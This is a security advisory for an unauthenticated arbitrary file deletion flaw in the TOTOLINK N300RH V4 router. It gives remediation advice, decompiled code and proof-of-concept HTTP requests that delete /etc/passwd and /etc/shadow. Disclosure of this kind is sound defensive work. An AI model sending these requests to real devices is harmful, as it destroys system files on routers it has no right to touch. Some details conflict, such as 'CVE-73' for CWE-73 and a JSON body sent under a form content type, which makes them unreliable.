# TOTOLINK N300RH V4 Router Arbitrary File Deletion Vulnerability (CVE-73) ## Vulnerability Overview The web management interface of the TOTOLINK N300RH V4 wireless router contains an **External Control of File Name or Path vulnerability (CWE-73)**. This vulnerability resides in the `setUploadSetting` handler within `upgrade.so`. Because this handler performs no validation, sanitization, or path restrictions on the attacker-controlled `FileName` parameter, but instead passes it directly to the `unlink()` function, an attacker can delete arbitrary files on the device's filesystem. ## Scope of Impact * **Affected Product**: TOTOLINK N300RH V4 Wireless Router * **Affected Firmware Versions**: * V6.1c.1353_B20190305 * V6.1c.1390_B20191101 * **Vulnerability Type**: External Control of File Name or Path (CWE-73) * **Attack Vector**: * **Entry Point**: `POST /cgi-bin/cstcgi.cgi` * **Handler Selector**: `topicurl=setUploadSetting` * **Injection Parameter**: `FileName` * **Authentication Requirement**: Unauthenticated * **User Interaction**: None required ## Remediation 1. **Validate and Sanitize File Paths**: Strictly whitelist the `FileName` parameter, allowing only alphanumeric characters and specific extensions. Reject path traversal sequences (such as `../`) and ensure the path remains within allowed directories. 2. **Use Secure Temporary Files**: Use a secure random naming mechanism (such as `mkstemp()`) when generating temporary file names, rather than accepting user-supplied file names. 3. **Implement Authentication/Authorization**: Ensure that sensitive endpoints require proper authentication and that users have the necessary permissions to perform requested file operations. 4. **Principle of Least Privilege**: The web server should run with minimal privileges rather than as root, to limit the impact of path traversal attacks. ## Proof of Concept (POC) Code ### Example Request (Deleting `/etc/passwd`) ```http POST /cgi-bin/cstcgi.cgi HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Origin: http:// Connection: close Referer: http:///adm/status.asp Pragma: no-cache Cache-Control: no-cache Content-Length: 73 { "topicurl": "setting/setUploadSetting", "FileName": "/etc/passwd", "ContentLength": "100000" } ``` ### Path Traversal Variant (Deleting `/etc/shadow`) ```json { "topicurl": "setting/setUploadSetting", "FileName": "/etc/shadow", "ContentLength": "100000" } ``` ### Vulnerable Code Snippet (Decompiled) ```c Var = (const char *)webGetVar(a2, "FileName", ""); v6 = (const char *)webGetVar(a2, "ContentLength", ""); ... v8 = strtol(v6, 0, 10); Object = cJSON_CreateObject(); if ( v8 >= 1000 ) { v15 = malloc(v8); memset(v15, 0, v8); v16 = fopen(Var, "r"); v18 = v16; if ( v16 ) { fread(v15, 1, v8, v16); v17 = fopen("/var/uploadsetting.tar.gz", "w"); if ( v17 ) { v18 = malloc(v8); memset(v18, 0, v8); memcpy(v18, v15, v8); fwrite(v18, 1, v8, v17); fclose(v17); free(v18); free(v15); sprintf(v21, "tar zxvf %s -C /", "/var/uploadsetting.tar.gz"); CstSystem(v21, 0); String = cJSON_CreateString("1"); cJSON_AddItemToObject(Object, "settingERR", String); fclose(v18); unlink(Var); // Vulnerability point: Directly deletes the user-specified file v13 = cJSON_Print(Object); webSetCgiResponse(a1, a3, v13); goto LABEL_7; } } } else { v20 = cJSON_CreateString("MSG_config_error"); cJSON_AddItemToObject(Object, "settingERR", v20); } ```